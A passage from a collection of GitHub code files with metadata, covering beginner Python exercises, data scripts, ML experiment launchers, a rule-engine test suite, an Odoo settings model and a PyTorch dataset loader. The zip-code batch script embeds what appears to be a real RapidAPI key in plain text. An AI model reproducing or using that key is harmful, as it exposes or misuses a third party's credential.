\"3\", \"4\"]\n anställd_namn = [\"Bengt\", \"Arne\", \"Gustav\", \"Mikael\"]\n anställd_befattning = [\"VD\", \"Verkstad\", \"Verkstad\", \"Säljare\"]\n anställd_månadslön = [\"45000\", \"32000\", \"32000\", \"34000\"]\n\n # Funktion printa ut sammanställd personallista\n def personallista():\n antal_anställda = anställningsnummer[-1]\n print(\"Antal anställda: \" + antal_anställda)\n print(\"\\n\" + \"Anst.nr: \" + anställningsnummer[0] + \",\"\" Befattning: \" + anställd_befattning[0] + \",\" + \" Namn: \"\n + anställd_namn[0] + \",\" + \" Månadslön: \" + anställd_månadslön[0])\n print(\"Anst.nr: \" + anställningsnummer[1] + \",\"\" Befattning: \" + anställd_befattning[1] + \",\" + \" Namn: \"\n + anställd_namn[1] + \",\" + \" Månadslön: \" + anställd_månadslön[1])\n print(\"Anst.nr: \" + anställningsnummer[2] + \",\"\" Befattning: \" + anställd_befattning[2] + \",\" + \" Namn: \"\n + anställd_namn[2] + \",\" + \" Månadslön: \" + anställd_månadslön[2])\n print(\"Anst.nr: \" + anställningsnummer[3] + \",\"\" Befattning: \" + anställd_befattning[3] + \",\" + \" Namn: \"\n + anställd_namn[3] + \",\" + \" Månadslön: \" + anställd_månadslön[3])\n\n print(\"\\nBILFIRMAN: PERSONAL\\n\")\n # Kallar på sammanställd personallista\n personallista()\n # Avslutningsfras\n input(\"\\nTryck enter för att komma till huvudmeny!\")\n\n if __name__ == \"__main__\":\n main()\n","repo_name":"soderblom78/pythonProject","sub_path":"bilfirman_anställda.py","file_name":"bilfirman_anställda.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"sv","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"14373801013","text":"# Задача №29. Решение в группах\n# Ваня и Петя поспорили, кто быстрее решит\n# следующую задачу: “Задана последовательность\n# неотрицательных целых чисел. Требуется определить\n# значение наибольшего элемента\n# последовательности, которая завершается первым\n# встретившимся нулем (число 0 не входит в\n# последовательность)”. Однако 2 друга оказались не\n# такими смышлеными. Никто из ребят не смог до\n# конца сделать это задание. Они решили так: у кого\n# будет меньше ошибок в коде, тот и выиграл спор. За\n# помощью товарищи обратились к Вам, студентам.\n# Примечание: Программные коды на следующих\n# слайдах\n\n# # Ваня:\n# n = int(input(\" a\"))\n# max_number = 1000\n# while n != 0:\n# n = int(input(\" b\"))\n# if max_number > n: # выводит 0 потому что если n < \n# max_number = n # то его мы и добавляем\n# print(max_number)\n\n# # Петя:\n# n = int(input())\n# max_number = -1\n# while n < 0: # задание не для отрицательных чисел\n# n = int(input()) # любое число которое мы вводим > 0 \n# if max_number < n: # следовательно оно е зпходит в цикл\n# n = max_number\n# print(n) \n\narr = []\nwhile True:\n n = int(input('Введите число из списка (0 заканчивает запись) -> '))\n if n > 0:\n arr.append(n)\n elif n == 0:\n break\nprint(f'Максимально значение в списке - {max(arr)}')\n\n# через список\nn = 1\nmax_number = 0\nwhile n > 0:\n n = int(input()) \n if max_number < n:\n max_number = n\n elif n == 0:\n break\nprint(max_number)","repo_name":"honeybun08/python_seminar","sub_path":"s4_task3.py","file_name":"s4_task3.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"72774534233","text":"import os\nimport sys\n\nimport requests\n\n\nURL = 'https://redline-redline-zipcode.p.rapidapi.com/rest/multi-radius.json/30/mile'\nREQUEST_BATCH_SIZE = 99\nHEADERS = {\n 'content-type': 'application/x-www-form-urlencoded',\n 'X-RapidAPI-Host': 'redline-redline-zipcode.p.rapidapi.com',\n 'X-RapidAPI-Key': 'ca6471f5e2msh9b26de43a9c98a1p107c17jsnbfe6368b5b0e',\n}\n\n\ndef batches(lst, size=REQUEST_BATCH_SIZE):\n for i in range(0, len(lst), size):\n yield lst[i : i + size]\n\n\ndef input2output(path):\n tup = os.path.splitext(path)\n return tup[0] + '.out' + tup[1]\n\n\ndef valid_zip_code(s):\n # A valid zip code is of length 5\n # and consists only of digits.\n return len(s) == 5 and s.isnumeric()\n\n\ndef main():\n # Load zip codes file\n input_path = os.path.abspath(sys.argv[1])\n with open(input_path, 'r') as f:\n input_zip_codes = [line.rstrip() for line in f if valid_zip_code(line.rstrip())]\n\n # Send a batch of zip codes to request,\n # and write to output CSV.\n output_zip_codes = set()\n n_batches = len(list(batches(input_zip_codes)))\n for i, batch in enumerate(batches(input_zip_codes)):\n print(f'Processing batch {i + 1}/{n_batches} of size {len(batch)}')\n # Send request and receive response\n payload = f'zip_codes={\"%0A\".join(batch)}'\n response = requests.request('POST', URL, data=payload, headers=HEADERS)\n json = response.json()\n # Unmarshal base_zip_code and zip_codes from response.\n try:\n for response in json['responses']:\n output_zip_codes.update(response['zip_codes'])\n except KeyError:\n print(f'response json:\\n{json}')\n print(f'batch: {batch}')\n sys.exit(1)\n\n print(f'Found a total of {len(output_zip_codes)} zip codes')\n\n # Write outputs to CSV, one line per zip_code in zip_codes\n output_path = input2output(input_path)\n with open(output_path, 'w') as f:\n # CSV header\n f.write('zip_code\\n')\n for zip_code in sorted(output_zip_codes):\n f.write(f'{zip_code}\\n')\n\n print('Done!')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ulysseses/zipcode-processor","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"29230221784","text":"#!/usr/bin env python\n\nimport sys\nimport argparse\nimport warnings\n\nwarnings.filterwarnings(\"ignore\", message=\"numpy.dtype size changed\")\n\nimport yaml\nimport pandas as pd\nimport numpy as np\n\n\ndef biotype_yaml(anno):\n tab = anno\n tab_rel = tab / tab.sum(0)\n keep = (tab_rel >= 0.01).sum(1) > 0\n tab = tab.loc[keep, :]\n order = tab.sum(1).argsort()[::-1]\n tab = tab.iloc[order[:10], :]\n\n cats = []\n keys = {}\n default_colors = [\n \"#7cb5ec\",\n \"#434348\",\n \"#90ed7d\",\n \"#f7a35c\",\n \"#8085e9\",\n \"#f15c80\",\n \"#e4d354\",\n \"#2b908f\",\n \"#f45b5b\",\n \"#91e8e1\",\n ]\n for i, k in enumerate(tab.index):\n if k == k.upper():\n name = k\n else:\n name = k.replace(\"_\", \" \")\n color = default_colors[i]\n keys[k] = {\"color\": color, \"name\": name}\n\n # Config for the plot\n pconfig = {\n \"id\": \"gene_biotypes\",\n \"title\": \"Gene Biotype Counts\",\n \"ylab\": \"# Reads\",\n \"cpswitch_counts_label\": \"Number of Reads\",\n }\n\n section = {}\n section[\"id\"] = \"gene_biotypes\"\n section[\"section_name\"] = \"Gene Biotypes Count\"\n section[\"description\"] = \"Summary of gene annotation types.\"\n section[\"plot_type\"] = \"bargraph\"\n\n section[\"pconfig\"] = pconfig\n section[\"categories\"] = keys\n section[\"data\"] = [tab.to_dict()]\n\n return section\n\n\ndef argparser():\n parser = argparse.ArgumentParser(description=\"Gene Biotypes figure for QC report\")\n parser.add_argument(\"exprs\")\n parser.add_argument(\n \"--sample-info\",\n help=\"Optional sample sheet. Will subset expr table if needed\",\n dest=\"samples\",\n )\n \n parser.add_argument(\n \"-o \",\n \"--output\",\n default=\"biotypes_mqc.pyaml\",\n help=\"Output filename. Will default to biotypes_mqc.yaml\",\n )\n\n args = parser.parse_args()\n return args\n\n\nif __name__ == \"__main__\":\n args = argparser()\n tab = pd.read_csv(args.exprs, sep=\"\\t\", index_col=0)\n \n anno = tab.pivot_table(values=\"Count\", index=\"Sample_ID\", columns=['Level1']).T.fillna(0)\n anno.columns = anno.columns.astype(str)\n section = biotype_yaml(anno)\n\n with open(args.output, \"w\") as fh:\n yaml.dump(section, fh, default_flow_style=False, sort_keys=False)\n","repo_name":"gcfntnu/gcf-workflows","sub_path":"smallrna/rules/bfq/scripts/plot_biotype.py","file_name":"plot_biotype.py","file_ext":"py","file_size_in_byte":2315,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"36995003522","text":"from typing import Dict, Any\n\nfrom src.data.common_types import AbstractRawDataProvider\nfrom src.data.raw_data.raw_data_providers import ExtruderRawDataProvider\nfrom src.estimator.launcher.launchers import ExperimentLauncher\nfrom src.estimator.model.estimator_conv_model import merge_two_dicts\nfrom src.estimator.model.tba_model import ExtruderTBAModel\nfrom src.utils import consts\n\n\nclass ExtruderTBAImageSizeExperimentLauncher(ExperimentLauncher):\n @property\n def name(self):\n return \"tba_extruder_image_size\"\n\n @property\n def params(self):\n return {\n consts.NUM_CHANNELS: 32,\n consts.HARD_TRIPLET_MARGIN: 0.5,\n consts.PREDICT_SIMILARITY_MARGIN: 4.0,\n consts.DENSE_UNITS: [80],\n consts.BATCH_SIZE: 400,\n consts.OPTIMIZER: consts.ADAM_OPTIMIZER,\n consts.LEARNING_RATE: 0.001,\n consts.SHUFFLE_BUFFER_SIZE: 10000,\n consts.EVAL_STEPS_INTERVAL: 50,\n }\n\n\nclass ExtruderTBAImageSizeAwareTBAModel(ExtruderTBAModel):\n\n @property\n def summary(self) -> str:\n return self._summary_from_dict(\n {\n \"size\": self.im_size,\n \"no\": self.no\n })\n\n def __init__(self, im_size, no) -> None:\n super().__init__()\n self.no = no\n self.im_size = im_size\n\n @property\n def raw_data_provider(self) -> AbstractRawDataProvider:\n return ExtruderRawDataProvider(self.im_size)\n\n @property\n def additional_model_params(self) -> Dict[str, Any]:\n return merge_two_dicts(super().additional_model_params,\n {\n consts.TRAIN_STEPS: 800 if self.im_size > 99 else 1000,\n })\n\n\nlauncher = ExtruderTBAImageSizeExperimentLauncher([\n ExtruderTBAImageSizeAwareTBAModel(150, 1), # accuraccy 83\n ExtruderTBAImageSizeAwareTBAModel(150, 2),\n ExtruderTBAImageSizeAwareTBAModel(150, 3),\n ExtruderTBAImageSizeAwareTBAModel(200, 1),\n ExtruderTBAImageSizeAwareTBAModel(200, 2),\n ExtruderTBAImageSizeAwareTBAModel(200, 3),\n])\n","repo_name":"arozans/idenface","sub_path":"src/estimator/launcher/experiments/tba/tba_image_size_exp.py","file_name":"tba_image_size_exp.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16981328203","text":"#!/bin/python3\n\nimport sys\nimport math\n\nif __name__ == \"__main__\":\n n = int(input().strip())\n min_val = math.inf\n min_val_name = \"\"\n for a0 in range(n):\n flag = False\n count_flag = False\n name, value = input().strip().split(' ')\n name, value = [str(name), int(value)]\n if len(str(value))%2 == 0:\n count4 = 0\n count7 = 0\n for i in str(value):\n if i == \"4\":\n count4 +=1\n flag = True\n elif i == \"7\":\n count7 +=1\n flag = True\n else: \n flag = False\n break;\n if count4 == count7:\n count_flag = True\n if flag and count_flag:\n if min_val > value:\n min_val = value\n min_val_name = name\n \n if min_val == math.inf:\n print(\"-1\")\n else:\n print(min_val_name)\n","repo_name":"aagrekar/HackerRank","sub_path":"Lucky Purchase/Lucky Purchase.py","file_name":"Lucky Purchase.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"42450592527","text":"import config\nimport json\nimport requests\nimport tokens\n\n\ndef format_waypoint_uri(params):\n endpoint = 'https://esi.evetech.net/latest/ui/autopilot/waypoint/?'\n p = '&'.join(\"{!s}={!s}\".format(param, value) for (param, value) in params.items()) # flatten dict by =, &\n uri = endpoint + p\n return uri\n\n\ndef get_route():\n data = []\n with open(config.ROUTE_FILE, 'r') as route_file:\n for row in route_file:\n if row[0] == config.ROUTE_COMMENT_CHAR:\n continue\n data.append(row.rstrip())\n return data\n\n\ndef analyse_route(route):\n with open(config.SYSTEM_FILE, 'r') as system_file:\n system_data = json.load(system_file)\n\n cleaned_route_data = []\n errors = []\n for system_name in route:\n if system_name not in system_data and system_name not in system_data.values():\n errors.append(system_name)\n continue\n\n if system_name in system_data:\n cleaned_route_data.append(system_data[system_name])\n if system_name in system_data.values():\n cleaned_route_data.append(system_name)\n\n if errors:\n raise ValueError(errors)\n return cleaned_route_data\n\n\ndef post_waypoint(params):\n waypoint_headers = {\n 'Content-Type': 'application/json',\n 'Authorization': 'Bearer ' + access_token\n }\n waypoint_uri = format_waypoint_uri(params)\n print('Attemping to set destination to ' + params['destination_id'] + ' ', end='')\n response = requests.post(waypoint_uri, headers=waypoint_headers)\n print('(Status ' + str(response.status_code) + ')')\n\n\n# do the magic\ntry:\n token_data = tokens.get_tokens_from_file()\nexcept Exception as e:\n print(e.__str__())\n raise SystemExit(1)\n\naccess_token = token_data['access_token']\n\ntry:\n route_data = analyse_route(get_route())\nexcept ValueError as e:\n print('Invalid system names/ids: ' + e.__str__())\n raise SystemExit(1)\n\nfor system in route_data:\n waypoint_params = {\n \"add_to_beginning\": \"false\",\n \"clear_other_waypoints\": \"false\",\n \"datasource\": \"tranquility\",\n \"destination_id\": system\n }\n post_waypoint(waypoint_params)\n","repo_name":"burnsypet/waypoint-setter","sub_path":"waypoints.py","file_name":"waypoints.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22112777590","text":"from rule_engine.rule_engine import RuleEngine\nimport pandas as pd\n\n\ndef test_expr_parser():\n \"\"\"Parse boolean expressions.\"\"\"\n data = [{'objectid': 't1', 'event_date': '2021-03-02', 'mean_0815': 10, 'mean_007': -1},\n {'objectid': 't1', 'event_date': '2021-03-02', 'mean_0815': 10, 'mean_007': +1}]\n df = pd.DataFrame(data)\n param = {\"Expression\": \"mean_0815 < 11 and mean_007 > 0\", \"ResponseValue\": True, \"ResponseDefault\": False, \"MinimumDaysRequired\": 1,\n \"ResponseColumn\": \"anomaly\", \"DefaultClass\": \"\"\n }\n re = RuleEngine(param)\n result = re.apply(df)['anomaly']\n assert False == result[0]\n assert True == result[1]\n\n\ndef test_original_rules():\n \"\"\"Parse boolean expressions.\"\"\"\n data = [{'2597': 2.0, 'rm2597': 2.0, 'rm2372_1': 0.0, 'rm2572_1': 0.0,\n 'rm2372_5': 0.0, 'rm2374': 0.0, 'rm2395': 0.0}]\n df = pd.DataFrame(data)\n param = {\n \"Expression\": \"(rm2597 > (rm2372_1 * 1.5)) or (rm2372_5 >= 1 and rm2374 > 0 and rm2395 !=1)\", \"ResponseValue\": True, \"ResponseDefault\": False, \"MinimumDaysRequired\": 1,\n \"ResponseColumn\": \"anomaly\"}\n re = RuleEngine(param)\n result = re.apply(df)['anomaly']\n assert True == result[0]\n\n\ndef test_classification_true():\n \"\"\"Parse boolean expressions.\"\"\"\n data = [{'rm2597': 2.0, 'rm2372': 1.0}]\n responseCol = 'anomalyclass'\n responseVal = 'classA'\n df = pd.DataFrame(data)\n param = {\n \"Expression\": \"rm2597 * 1.5 > rm2372\", \"ResponseValue\": responseVal, \"ResponseDefault\": False, \"ResponseColumn\": responseCol, \"MinimumDaysRequired\": 1, }\n re = RuleEngine(param)\n result = re.apply(df)[responseCol]\n\n assert responseVal == result[0]\n\n\ndef test_classification_false():\n \"\"\"Parse boolean expressions.\"\"\"\n responseCol = 'anomalyclass'\n responseVal = 'classA'\n\n data = [{'rm2597': 2.0, 'rm2372': 4.0}]\n df = pd.DataFrame(data)\n param = {\n \"Expression\": \"rm2597 * 1.5 > rm2372\", \"ResponseValue\": responseVal, \"ResponseColumn\": responseCol, \"ResponseDefault\": False, \"MinimumDaysRequired\": 5, }\n\n re = RuleEngine(param)\n result = re.apply(df)[responseCol]\n assert responseVal != result[0]\n\n\ndef test_not_enough_data():\n \"\"\"Parse boolean expressions.\"\"\"\n responseCol = 'anomalyclass'\n responseVal = 'classA'\n\n data = [{'rm2597': 2.0, 'rm2372': 4.0}]\n df = pd.DataFrame(data)\n param = {\n \"Expression\": \"rm2597 * 1.5 > rm2372\", \"ResponseValue\": responseVal, \"ResponseColumn\": responseCol, \"ResponseDefault\": False, \"MinimumDaysRequired\": 2, }\n\n re = RuleEngine(param)\n result = re.apply(df)[responseCol]\n assert result[0] == RuleEngine.not_enough_data_available\n\n\n","repo_name":"Vitowitsch/rule-engine","sub_path":"tests/test_expr_parser.py","file_name":"test_expr_parser.py","file_ext":"py","file_size_in_byte":2709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"13105409423","text":"import RPi.GPIO as GPIO\nimport time\nfrom lcd import lcddriver\n\n# 20184754 김현주, 20184487 유채림 ---- day 2. mission1 -----\n# mission: 손님 맞이 로봇 만들기\n# 내용: 1. 동작이 detect되면 화면에 \"guest get in\" 문구를 출력하고 환영 노래를 출력하고 LCD에 환영 문구를 출력하고 손님 수를 센다.\n# 2. 동작이 detect 되지 않으면 lcd를 clear 한다.\n# 3. 1과 2를 반복한다.\n# 4. KeyboardInterrupt가 발생하면 작동을 멈추고 총 손님 수를 화면에 출력한다.\n\n\nsensor = 4\nbuzzer = 18\ndisplay = lcddriver.lcd()\n\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(buzzer, GPIO.OUT)\nGPIO.setup(sensor, GPIO.IN)\n\np = GPIO.PWM(buzzer, 100) #buzzer pulse 로 100\nFrq = [263, 294, 330] #환영 노래 음 설정->도레미\nspeed = 0.2\nnum = 0 #손님 수를 count 하는 num 변수\n\ntry:\n while True:\n if GPIO.input(sensor) == 1: #손님이 detect 되면\n p.start(10)\n print(\"guest get in\") #환영 문구 화면에 출력\n num= num+1 #손님 수 추가 \n for fr in Frq: #노래 출력\n p.ChangeFrequency(fr)\n time.sleep(speed) # 음이 바뀌는 interval\n p.stop()\n display.lcd_display_string(\"Welcome!\",1) #lcd에 환영 문구 출력\n display.lcd_display_string(\"Have a good time\",2)\n time.sleep(2)\n \n if GPIO.input(sensor) == 0:\n time.sleep(0.2)\n display.lcd_clear()\n p.stop()\n \n\nexcept KeyboardInterrupt:\n print(\"\\n 최종 손님의 수는: \",num) # 손님 수 출력\n p.stop()\n GPIO.cleanup","repo_name":"gkrry2723/AI_with_python","sub_path":"Day_02/02_mission1.py","file_name":"02_mission1.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"8827951843","text":"import os\nimport torch\nimport torchvision\nimport numpy as np\nfrom enum import Enum\nfrom datasets.data_preprocessing import get_preprocessing, PreProcessing\nfrom datasets.data_augmentation import get_augmentation, Augmentation\nfrom torch.utils.data import DataLoader\n\n\nclass Dataset(Enum):\n CIFAR10 = 0\n ImageNet = 1\n\n\nCIFAR_IMAGE_SIZE = 32\nIMAGENET_CROP_SIZE = 224\nIMAGENET_RESIZE_SIZE = 256\n\n\ndef _fast_collate(batch):\n imgs = [img[0] for img in batch]\n c = 1 if len(np.asarray(imgs[0]).shape) == 2 else 3\n targets = torch.tensor([target[1] for target in batch], dtype=torch.int64)\n w = imgs[0].size[0]\n h = imgs[0].size[1]\n tensor = torch.zeros((len(imgs), c, h, w), dtype=torch.uint8)\n for i, img in enumerate(imgs):\n nump_array = np.asarray(img, dtype=np.uint8)\n if (nump_array.ndim < 3):\n nump_array = np.expand_dims(nump_array, axis=-1)\n nump_array = np.rollaxis(nump_array, 2)\n tensor[i] += torch.from_numpy(nump_array)\n return tensor, targets\n\n\ndef _get_dataset_augmentation_normalization(dataset_enum, distributed=True, enable_auto_augmentation=False):\n if dataset_enum == Dataset.CIFAR10:\n normalization = get_preprocessing(PreProcessing.CIFAR)\n train_transform = get_augmentation(Augmentation.CropAndHorizontalFlip,\n crop_size=CIFAR_IMAGE_SIZE,\n distributed=distributed,\n enable_auto_augmentation=enable_auto_augmentation)\n validation_transform = get_augmentation(Augmentation.NoAugmentation,\n crop_size=CIFAR_IMAGE_SIZE,\n distributed=distributed)\n elif dataset_enum == Dataset.ImageNet:\n normalization = get_preprocessing(PreProcessing.IMAGENET)\n train_transform = get_augmentation(Augmentation.ResizeCropAndHorizontalFlip, crop_size=IMAGENET_CROP_SIZE,\n distributed=distributed)\n validation_transform = get_augmentation(Augmentation.ResizeCenterCrop, crop_size=IMAGENET_CROP_SIZE,\n resize_size=IMAGENET_RESIZE_SIZE, distributed=distributed)\n else:\n raise NotImplemented\n if not distributed and normalization is not None:\n train_transform.transforms.append(normalization)\n validation_transform.transforms.append(normalization)\n return train_transform, validation_transform\n\n\ndef get_dataset(dataset: Dataset, data_path: str, batch_size: int, num_workers: int = 4, distributed=True,\n enable_auto_augmentation=False):\n \"\"\"\n This function return the dataset loaders for the validation and training sets also\n with training sampler for multiple gpu usage\n :param dataset: the dataset enum (CIFAR10 or ImageNet)\n :param data_path: the data folder in ImageNet\n :param batch_size: the training and validation batch size\n :param num_workers: the number of working\n :param distributed: working in distributed mode\n :param enable_auto_augmentation: this flag enable the auto augmentation\n :return: train loader, validation loader and training sampler.\n \"\"\"\n train_transform, test_transform = _get_dataset_augmentation_normalization(dataset,\n distributed=distributed,\n enable_auto_augmentation=enable_auto_augmentation)\n if dataset == Dataset.CIFAR10:\n trainset = torchvision.datasets.CIFAR10(root=data_path, train=True,\n download=True,\n transform=train_transform) # transformation (preporcess and augmentation)\n\n testset = torchvision.datasets.CIFAR10(root=data_path, train=False,\n download=True, transform=test_transform)\n elif dataset == Dataset.ImageNet:\n trainset = torchvision.datasets.ImageFolder(os.path.join(data_path, 'train'),\n transform=train_transform)\n\n testset = torchvision.datasets.ImageFolder(os.path.join(data_path, 'validation'),\n transform=test_transform)\n else:\n raise NotImplemented\n\n train_sampler = None\n val_sampler = None\n if distributed:\n print(\"Starting Distributed Datasets\")\n train_sampler = torch.utils.data.distributed.DistributedSampler(trainset)\n val_sampler = torch.utils.data.distributed.DistributedSampler(testset)\n train_loader = DataLoader(trainset, batch_size=batch_size,\n shuffle=(train_sampler is None),\n num_workers=num_workers,\n pin_memory=True,\n sampler=train_sampler,\n collate_fn=_fast_collate if distributed else None) # loading data using multipy therd\n test_loader = None\n if testset is not None:\n test_loader = DataLoader(testset, batch_size=batch_size,\n shuffle=False, num_workers=num_workers, pin_memory=True,\n sampler=val_sampler,\n collate_fn=_fast_collate if distributed else None\n )\n return train_loader, test_loader, train_sampler\n","repo_name":"sony-si/ai-research","sub_path":"HMQ/datasets/dataset_loader.py","file_name":"dataset_loader.py","file_ext":"py","file_size_in_byte":5559,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"5"} +{"seq_id":"37712367435","text":"# Напишите код для удаления дубликатов из несортированного связного списка.\n# Дополнительно:\n# Как вы будете решать задачу, если использовать временный буфер запрещено?\nimport unittest\nfrom LinkedList import LinkedList\n\n\ndef remove_dups(linked_list):\n if linked_list.start_node is None:\n return\n s = set([linked_list.start_node.item])\n n = linked_list.start_node\n while n.ref:\n if n.ref.item in s:\n n.ref = n.ref.ref\n else:\n s.add(n.ref.item)\n n = n.ref\n\n\ndef remove_dups_two_refs(linked_list):\n if linked_list.start_node is None:\n return\n n = linked_list.start_node\n while n:\n next_ref = n\n while next_ref.ref:\n if next_ref.ref.item == n.item:\n next_ref.ref = next_ref.ref.ref\n else:\n next_ref = next_ref.ref\n n = n.ref\n\n\nclass Test(unittest.TestCase):\n def test_remove_dups(self):\n ll = LinkedList()\n ll.insert_multiple(1, 2, 2, 3, 3, 3)\n remove_dups(ll)\n self.assertEqual(str(ll), \"1,2,3\")\n\n def test_remove_dups_two_refs(self):\n ll = LinkedList()\n ll.insert_multiple(1, 2, 2, 3, 3, 3)\n remove_dups_two_refs(ll)\n self.assertEqual(str(ll), \"1,2,3\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"Vostbur/cracking-the-coding-interview-6th","sub_path":"python/chapter_2/01_remove_dups.py","file_name":"01_remove_dups.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33090971745","text":"import pyttsx3\r\nfrom gtts import gTTS\r\nfrom tkinter import *\r\nimport os\r\nspeaker=pyttsx3.init()\r\n\r\ndef talk(text):\r\n speaker.say(text)\r\n speaker.runAndWait()\r\n\r\ndef tts():\r\n txt=(a1.get())\r\n str(txt)\r\n talk(txt)\r\n\r\nroot=Tk()\r\na=StringVar()\r\nroot.title(\"Text To Speech\")\r\nroot.configure(bg=\"lightgreen\")\r\nwidth= root.winfo_screenwidth()\r\nheight= root.winfo_screenheight()\r\nroot.geometry(\"%dx%d\"%(width,height))\r\n\r\nx1=Label(root,text=\"Text To Speech Reconization\",font=(\"solid\",20,\"bold\"),bg=\"blue\")\r\nx1.grid(row=1,column=5)\r\nx2=Label(root,text=\"Enter any text and i speak this text\",font=(\"solid\",20,\"bold\"),bg=\"green\")\r\nx2.grid(row=9,column=5)\r\na1=Entry(root,bg=\"skyblue\",width=30,font=(\"arial\",30,\"bold\"))\r\na1.grid(row=11,column=5)\r\n\r\ndef download():\r\n language = \"en\"\r\n obj1 = gTTS(text=a1.get(),\r\n lang=language)\r\n obj1.save(\"convert.wav\")\r\n os.system(\"convert.wav\")\r\n\r\n\r\nb1=Button(root,text=\"click to Talk\",height=4,width=12,bd=5,font=(\"solid\",8),activeforeground=\"orange\",activebackground=\"green\",command=tts)\r\nc1=Button(root,text=\"click to download\",height=4,width=18,bd=5,font=(\"solid\",8),activeforeground=\"orange\",activebackground=\"green\",command=download)\r\nb1.grid(row=30,column=4)\r\nc1.grid(row=30,column=5)\r\nroot.mainloop()\r\n\r\n","repo_name":"aMan15TG/AMAn","sub_path":"tts.py","file_name":"tts.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"10193839509","text":"from math import fabs\nfrom math import pi\n\n\ndef sin(x):\n\n x = x / 180 * pi # 输入角度转换为弧度\n g = 0\n t = x\n n = 1\n\n#使用泰勒展开式对sin值进行计算\n while (fabs(t) >= 1e-15): #设置计算的精度\n g += t\n n += 1\n t = -t * x * x / (2 * n - 1) / (2 * n - 2)\n return round(g, 3) #计算结果保留三位小数\n\n#test\nans = sin(60)\nprint(ans)\n\n\n","repo_name":"Nanjang-Li/TrigonometricFunctions","sub_path":"TriFunctions/sin.py","file_name":"sin.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"8377212753","text":"\"\"\"\nMódulo criado com nome padrão para que seja possível importar no módulo 46_modulos_customizados.py\n\"\"\"\n\n\ndef soma_impares(numeros):\n total = 0\n primeiro = True\n\n for numero in numeros:\n if numero % 2 != 0:\n total += numero\n\n if primeiro:\n primeiro = False\n print(f'{numero}', end=' ')\n else:\n print(f'+ {numero}', end=' ')\n\n print(f' = ', end=' ')\n return total\n\n\n# if a seguir para evitar que print seja executado quando este módulo for importado\nif __name__ == '__main__':\n lista = list(range(7))\n print(soma_impares(lista))\n\n tupla = tuple(range(7))\n print(soma_impares(tupla))\nelse:\n print(f'O módulo {__name__} foi importado.')\n\n\ndef divide_por_2(num1, num2):\n return num1 / num2\n","repo_name":"renatoalberto/Python","sub_path":"069_funcoes_com_parametros.py","file_name":"069_funcoes_com_parametros.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"5437448365","text":"from odoo import fields, models\n\n\nclass ResConfigSettings(models.TransientModel):\n _inherit = \"res.config.settings\"\n\n clearance_plan_journal_id = fields.Many2one(\n comodel_name=\"account.journal\",\n related=\"company_id.clearance_plan_journal_id\",\n readonly=False,\n string=\"Default Clearance Plan Journal\",\n help=\"The journal used by default on clearance plans.\",\n )\n clearance_plan_move_line_name = fields.Char(\n string=\"Default Clearance Plan Move Line Name\",\n help=\"Default name that will be given to new open \"\n \"move lines created by clearance plans\",\n related=\"company_id.clearance_plan_move_line_name\",\n readonly=False,\n )\n","repo_name":"decodio/oca12","sub_path":"account_clearance_plan/models/res_config_settings.py","file_name":"res_config_settings.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"31155841493","text":"import code\n\nclass CString:\n\n def __init__(self, start):\n self._current = start\n self._map = [start]\n self._loop = False\n\n def reverse(self):\n self._map = list(reversed(self._map))\n\n def build_string(self):\n while True:\n next_item = self._current.get_connections()[1]\n if next_item is None:\n break\n elif next_item in self._map:\n self._loop = True\n break\n self._step(next_item)\n\n def build_su2_string(self):\n next_item = self._current.get_connections()\n #print(next_item)\n if all([i is not None for i in next_item]):\n self._loop = True\n\n while True:\n select = None\n for i in next_item:\n if i is None or i in self._map:\n continue\n else:\n select = i\n if select is None:\n break\n self._step(select)\n next_item = self._current.get_connections()\n\n def old_build_su2_string(self):\n next_item = self._current.get_connections()\n if next_item[0] is None:\n s = 1\n end = None\n elif next_item[1] is None:\n s = 0\n end = None\n else:\n s = 0\n print(\"LOOP\")\n self._loop == True\n end = next_item[s^1]\n\n while True:\n it = next_item[s]\n print(\"\\nOPTIONS:\", next_item)\n print(\"SELECT:\", hex(id(it)))\n input()\n if it is end:\n print(\"BROKE\")\n break\n self._step(it)\n next_item = self._current.get_connections()\n s ^= 1\n\n def _step(self, next_item):\n self._map.append(next_item)\n self._current = next_item\n\n def draw(self, ax, c='r', alpha=0.5, **kwargs):\n x, y, z = self.get_plot_coords()\n ax.plot(x, y, z, c=c, alpha=alpha, **kwargs)\n\n def is_loop(self):\n return self._loop\n\n def get_map(self):\n return self._map\n\n def get_plot_coords(self):\n X, Y, Z = [], [], 